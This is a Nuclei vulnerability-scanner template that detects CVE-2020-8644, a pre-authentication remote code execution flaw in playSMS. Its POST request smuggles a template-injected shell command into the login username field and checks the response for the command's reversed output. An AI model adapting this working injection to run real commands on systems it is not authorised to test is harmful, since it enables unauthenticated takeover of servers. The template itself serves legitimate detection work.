nuclei-templates/cves/2020/CVE-2020-8644.yaml

id: CVE-2020-8644

info:
  name: playSMS <1.4.3 - Remote Code Execution
  author: dbrwsky
  severity: critical
  description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template.
  reference:
    - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/
    - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8644
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8644
    cwe-id: CWE-74
  tags: cve,cve2020,ssti,playsms,rce,unauth,kev

requests:
  - raw:
      - |
        GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=

    cookie-reuse: true
    host-redirects: true
    max-redirects: 2
    extractors:
      - type: xpath
        name: csrf
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - '4468-0202-EVC'

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/07/07